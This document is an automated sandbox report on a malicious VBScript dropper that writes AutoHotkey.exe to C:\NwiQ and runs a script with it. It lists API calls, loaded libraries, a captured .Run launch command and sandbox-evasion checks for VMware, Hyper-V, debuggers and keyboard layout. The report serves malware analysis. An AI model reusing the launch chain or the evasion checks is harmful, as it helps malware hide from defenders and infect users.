Source: C:\NwiQ\AutoHotkey.exe	Code function: String function: 0043A140 appears 78 times
Source: C:\NwiQ\AutoHotkey.exe	Code function: String function: 00409044 appears 36 times
Source: C:\NwiQ\AutoHotkey.exe	Code function: String function: 0047FFB0 appears 67 times
Source: C:\NwiQ\AutoHotkey.exe	Code function: String function: 0049A3AA appears 60 times
Source: C:\NwiQ\AutoHotkey.exe	Code function: String function: 0484520D appears 34 times
Source: C:\NwiQ\AutoHotkey.exe	Code function: String function: 048454ED appears 97 times
Source: C:\NwiQ\AutoHotkey.exe	Code function: String function: 0049A90E appears 35 times
Source: C:\NwiQ\AutoHotkey.exe	Code function: String function: 04844F7D appears 101 times
Source: C:\NwiQ\AutoHotkey.exe	Code function: String function: 0043A420 appears 283 times
Source: C:\NwiQ\AutoHotkey.exe	Code function: String function: 00499C29 appears 342 times
Source: C:\NwiQ\AutoHotkey.exe	Code function: String function: 04847581 appears 77 times
Source: C:\NwiQ\AutoHotkey.exe	Code function: String function: 004A7DD0 appears 51 times

Source: ndvdikok.vbs

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.troj.spyw.evad.winVBS@3/7@1/1

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_0043B100 GetFileAttributesW,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,_memset,__swprintf,CreateProcessW,CloseHandle,CloseHandle,GetLastError,_memset,__wcsicoll,_wcschr,SetCurrentDirectoryW,_wcschr,_wcschr,GetFileAttributesW,_wcschr,SetCurrentDirectoryW,ShellExecuteExW,GetModuleHandleW,GetProcAddress,GetLastError,FormatMessageW,

1_2_0043B100

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_0045F410 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,

1_2_0045F410

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_00449810 _wcsncpy,GetDiskFreeSpaceExW,

1_2_00449810

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_0045F620 CreateToolhelp32Snapshot,Process32FirstW,__wcstoi64,Process32NextW,__wsplitpath,__wcsicoll,Process32NextW,CloseHandle,CloseHandle,CloseHandle,

1_2_0045F620

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_0045E220 _wcschr,_wcschr,GetFileAttributesW,FindFirstFileW,FindClose,CoInitialize,CoCreateInstance,CoUninitialize,

1_2_0045E220

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_00481EC0 LoadLibraryExW,EnumResourceNamesW,FindResourceW,LoadResource,LockResource,GetSystemMetrics,FindResourceW,LoadResource,LockResource,SizeofResource,CreateIconFromResourceEx,FreeLibrary,ExtractIconW,ExtractIconW,

1_2_00481EC0

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\fykbmgsz[1]

Jump to behavior

Source: C:\NwiQ\AutoHotkey.exe

File created: C:\temp\

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ndvdikok.vbs"

Source: C:\NwiQ\AutoHotkey.exe

Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ndvdikok.vbs

Virustotal: Detection: 15%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ndvdikok.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\NwiQ\AutoHotkey.exe "C:\NwiQ\Autohotkey.exe" "c:\NwiQ\script.ahk"
Source: C:\Windows\System32\wscript.exe	Process created: C:\NwiQ\AutoHotkey.exe "C:\NwiQ\Autohotkey.exe" "c:\NwiQ\script.ahk"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: zipfldr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winshfhc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wdscore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winshfhc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wdscore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\NwiQ\AutoHotkey.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\NwiQ\AutoHotkey.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\NwiQ\AutoHotkey.exe	Section loaded: version.dll	Jump to behavior
Source: C:\NwiQ\AutoHotkey.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\NwiQ\AutoHotkey.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\NwiQ\AutoHotkey.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\NwiQ\AutoHotkey.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\NwiQ\AutoHotkey.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\NwiQ\AutoHotkey.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\NwiQ\AutoHotkey.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\NwiQ\AutoHotkey.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\NwiQ\AutoHotkey.exe	Section loaded: sspicli.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run(""c:\NwiQ\Autohotkey.exe" "c:\NwiQ\script.ahk"", "1", "false");

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_004A5040 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_004A5040

Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0049F0E5 push ecx; ret	1_2_0049F0F8
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_004AB418 push eax; ret	1_2_004AB436
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_04878489 push 048784B5h; ret	1_2_048784AD
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0485F4A5 push 0485F4D1h; ret	1_2_0485F4C9
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0489A4A9 push 0489A4EBh; ret	1_2_0489A4E3
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_048954E5 push 04895511h; ret	1_2_04895509
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0486F4E9 push 0486F515h; ret	1_2_0486F50D
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_048724F9 push ecx; mov dword ptr [esp], ecx	1_2_048724FE
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0486D419 push 0486D445h; ret	1_2_0486D43D
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0487146D push 048714D7h; ret	1_2_048714CF
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0486E471 push 0486E4B3h; ret	1_2_0486E4AB
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_04868505 push 04868531h; ret	1_2_04868529
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0489A52D push 0489A559h; ret	1_2_0489A551
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_04878531 push 0487855Dh; ret	1_2_04878555
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0484E565 push 0484E6E1h; ret	1_2_0484E6D9
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0486A691 push 0486A6BDh; ret	1_2_0486A6B5
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_048966A5 push 048966D1h; ret	1_2_048966C9
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_048676C5 push 048676F1h; ret	1_2_048676E9
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0486A6C9 push 0486A6F5h; ret	1_2_0486A6ED
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0484E6E5 push 0484E754h; ret	1_2_0484E74C
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0484E6E3 push 0484E754h; ret	1_2_0484E74C
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_048676FD push 04867729h; ret	1_2_04867721
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_04858615 push ecx; mov dword ptr [esp], edx	1_2_04858617
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_04896629 push 0489665Ch; ret	1_2_04896654
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0486578D push 048657B6h; ret	1_2_048657AE
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_04867795 push 048677C1h; ret	1_2_048677B9
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0489779D push 048977DDh; ret	1_2_048977D5
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0489E791 push 0489E7B7h; ret	1_2_0489E7AF
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0484E79D push 0484E7C9h; ret	1_2_0484E7C1
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_048677CD push 048677F9h; ret	1_2_048677F1
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0485B7D9 push 0485B805h; ret	1_2_0485B7FD

Source: C:\Windows\System32\wscript.exe

File created: C:\NwiQ\AutoHotkey.exe

Jump to dropped file

Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00484030 GetForegroundWindow,IsWindowVisible,IsIconic,ShowWindow,	1_2_00484030
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00484160 GetWindowThreadProcessId,GetWindowThreadProcessId,GetForegroundWindow,IsIconic,ShowWindow,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,SetForegroundWindow,SetForegroundWindow,GetForegroundWindow,GetWindow,AttachThreadInput,AttachThreadInput,BringWindowToTop,	1_2_00484160
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_004442E0 GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,_wcsrchr,__wcsicoll,__wcsicoll,__wcsicoll,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,__wcsnicmp,__fassign,__wcsnicmp,_wcsncpy,__fassign,__fassign,__fassign,__fassign,GetDC,DestroyIcon,DeleteObject,DeleteObject,GetIconInfo,DeleteObject,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,ReleaseDC,DeleteObject,SelectObject,DeleteDC,DeleteObject,_free,_free,_free,	1_2_004442E0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0045C3A0 GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,CreateDCW,GetDC,GetPixel,DeleteDC,ReleaseDC,__swprintf,	1_2_0045C3A0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_004813B0 GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,	1_2_004813B0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00481410 GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,	1_2_00481410
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_004427E0 GetForegroundWindow,IsWindowVisible,GetWindowThreadProcessId,IsZoomed,IsIconic,GetWindowLongW,__swprintf,GetModuleHandleW,GetProcAddress,__swprintf,	1_2_004427E0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0046C900 GetWindowLongW,GetWindowLongW,GetWindowLongW,__wcsnicmp,__wcsnicmp,__wcsicoll,SetWindowPos,__wcsicoll,__wcsicoll,__wcsnicmp,__wcsicoll,__wcsicoll,__wcsicoll,EnableWindow,__wcsnicmp,__wcsnicmp,__wcsicoll,__wcsicoll,__wcsicoll,__wcsnicmp,MulDiv,MulDiv,__wcsnicmp,MulDiv,MulDiv,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcsicoll,__wcstoi64,IsWindow,SetParent,SetWindowLongW,SetParent,IsWindowVisible,IsIconic,SetWindowLongW,SetWindowLongW,SetWindowPos,InvalidateRect,	1_2_0046C900
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00443AD0 GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,__swprintf,ReleaseDC,SelectObject,DeleteDC,DeleteObject,_free,GetPixel,ReleaseDC,	1_2_00443AD0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00446BC0 GetCursorPos,GetForegroundWindow,IsIconic,GetWindowRect,ClientToScreen,WindowFromPoint,EnumChildWindows,_memset,EnumChildWindows,GetClassNameW,EnumChildWindows,	1_2_00446BC0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00473B90 SendMessageW,SendMessageW,SendMessageW,GetWindowLongW,IsWindowVisible,IsIconic,GetFocus,GetWindowRect,GetPropW,ShowWindow,GetUpdateRect,SendMessageW,GetWindowLongW,ShowWindow,EnableWindow,GetWindowRect,PtInRect,PtInRect,PtInRect,SetFocus,SendMessageW,SendMessageW,ShowWindow,SetFocus,InvalidateRect,InvalidateRect,InvalidateRect,MapWindowPoints,InvalidateRect,	1_2_00473B90
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0046FCD0 SetWindowTextW,IsZoomed,IsIconic,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,MulDiv,MulDiv,ShowWindow,IsIconic,GetParent,GetWindowLongW,GetWindowRect,MapWindowPoints,GetWindowLongW,GetWindowRect,GetWindowLongW,GetWindowRect,GetClientRect,IsWindowVisible,GetWindowLongW,GetWindowLongW,GetMenu,GetWindowLongW,AdjustWindowRectEx,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,SendMessageW,GetClientRect,SystemParametersInfoW,GetWindowRect,IsZoomed,ShowWindow,MoveWindow,GetForegroundWindow,GetForegroundWindow,DefDlgProcW,ShowWindow,GetAncestor,GetForegroundWindow,GetFocus,GetDlgCtrlID,GetDlgCtrlID,GetParent,GetDlgCtrlID,UpdateWindow,GetDlgCtrlID,SetFocus,	1_2_0046FCD0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0046FCD0 SetWindowTextW,IsZoomed,IsIconic,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,__wcsnicmp,MulDiv,MulDiv,ShowWindow,IsIconic,GetParent,GetWindowLongW,GetWindowRect,MapWindowPoints,GetWindowLongW,GetWindowRect,GetWindowLongW,GetWindowRect,GetClientRect,IsWindowVisible,GetWindowLongW,GetWindowLongW,GetMenu,GetWindowLongW,AdjustWindowRectEx,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,SendMessageW,GetClientRect,SystemParametersInfoW,GetWindowRect,IsZoomed,ShowWindow,MoveWindow,GetForegroundWindow,GetForegroundWindow,DefDlgProcW,ShowWindow,GetAncestor,GetForegroundWindow,GetFocus,GetDlgCtrlID,GetDlgCtrlID,GetParent,GetDlgCtrlID,UpdateWindow,GetDlgCtrlID,SetFocus,	1_2_0046FCD0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00445D30 SendMessageW,SendMessageW,SendMessageW,IsWindowVisible,ShowWindow,ShowWindow,IsIconic,ShowWindow,GetForegroundWindow,SetForegroundWindow,SendMessageW,	1_2_00445D30

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_0485D5DD LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_0485D5DD

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: AutoHotkey.exe, AutoHotkey.exe, 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp

Binary or memory string: SUPERANTISPYWARE.EXE

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\NwiQ\AutoHotkey.exe

Evaded block: after key decision

graph_1-104188

Source: C:\NwiQ\AutoHotkey.exe

API coverage: 3.0 %

Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_004191F0 GetKeyboardLayout followed by cmp: cmp cl, 00000019h and CTI: ja 004192ECh country: Russian (ru)		1_2_004191F0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0040C240 GetKeyboardLayout followed by cmp: cmp dword ptr [004db42ch], edi and CTI: je 0040C414h		1_2_0040C240

Source: C:\Windows\System32\wscript.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00480DC0 _wcschr,_wcschr,_wcschr,FindFirstFileW,FindClose,_wcschr,FindFirstFileW,FindClose,	1_2_00480DC0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0045E220 _wcschr,_wcschr,GetFileAttributesW,FindFirstFileW,FindClose,CoInitialize,CoCreateInstance,CoUninitialize,	1_2_0045E220
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0047C320 FindFirstFileW,FindClose,GetFileAttributesW,CreateFileW,WriteFile,WriteFile,WriteFile,CloseHandle,	1_2_0047C320
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0044D570 FindFirstFileW,GetTickCount,GetTickCount,PeekMessageW,GetTickCount,FindNextFileW,FindClose,GetLastError,FindFirstFileW,GetTickCount,GetTickCount,PeekMessageW,GetTickCount,__swprintf,FindNextFileW,FindClose,	1_2_0044D570
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0044D870 FindFirstFileW,GetLastError,FindClose,FileTimeToLocalFileTime,	1_2_0044D870
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00437B70 FindFirstFileW,FindNextFileW,FindClose,FindNextFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindClose,	1_2_00437B70
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0044DBB0 CreateFileW,GetFileSizeEx,CloseHandle,FindFirstFileW,GetLastError,FindClose,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,	1_2_0044DBB0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_00480D30 FindFirstFileW,FindClose,GetFileAttributesW,	1_2_00480D30
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0045EEA0 GetFullPathNameW,GetFullPathNameW,GetFullPathNameW,GetFileAttributesW,GetFileAttributesW,GetFileAttributesW,FindFirstFileW,GetLastError,_wcsrchr,_wcsrchr,_wcsncpy,GetTickCount,PeekMessageW,GetTickCount,MoveFileW,DeleteFileW,MoveFileW,GetLastError,CopyFileW,GetLastError,FindNextFileW,FindClose,	1_2_0045EEA0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_048495A1 FindFirstFileA,GetLastError,	1_2_048495A1
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0489C541 FindFirstFileW,FindNextFileW,FindClose,	1_2_0489C541
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0484655D GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	1_2_0484655D
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0489B145 FindFirstFileW,lstrcmpW,lstrcmpW,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FindNextFileW,FindClose,	1_2_0489B145
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_04876FE5 FindFirstFileW,FindNextFileW,FindClose,	1_2_04876FE5
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_04873871 FindFirstFileW,FindNextFileW,FindClose,	1_2_04873871

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_04871EA9 GetSystemInfo,

1_2_04871EA9

Source: AutoHotkey.exe, 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: wscript.exe, 00000000.00000003.1651614571.000001D5A5F25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Registry\Machine\Software\Classes\SystemFileAssociations\compressed\SystemFileAssociations\compressed}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}stem32
Source: AutoHotkey.exe, AutoHotkey.exe, 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: microsoft hyper-v video
Source: wscript.exe, 00000000.00000003.1655755076.000001D5A3CE7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1660535194.000001D5A5EE3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1660138257.000001D5A3D19000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1655827819.000001D5A3D13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.1655755076.000001D5A3CE7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1660138257.000001D5A3D19000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1655827819.000001D5A3D13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWC
Source: AutoHotkey.exe, 00000001.00000002.1665231870.0000000000ACB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\NwiQ\AutoHotkey.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_00416450 GetCurrentThreadId,GetKeyboardState,SetKeyboardState,PostMessageW,PostMessageW,PostMessageW,BlockInput,GetForegroundWindow,GetAsyncKeyState,keybd_event,keybd_event,GetAsyncKeyState,keybd_event,GetAsyncKeyState,BlockInput,

1_2_00416450

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_0049E2D5 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_0049E2D5

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_004A5040 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_004A5040

Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0486A0F5 mov eax, dword ptr fs:[00000030h]	1_2_0486A0F5
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0486A0F5 mov eax, dword ptr fs:[00000030h]	1_2_0486A0F5
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_04867B0D mov eax, dword ptr fs:[00000030h]	1_2_04867B0D
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_048B3EEA mov eax, dword ptr fs:[00000030h]	1_2_048B3EEA

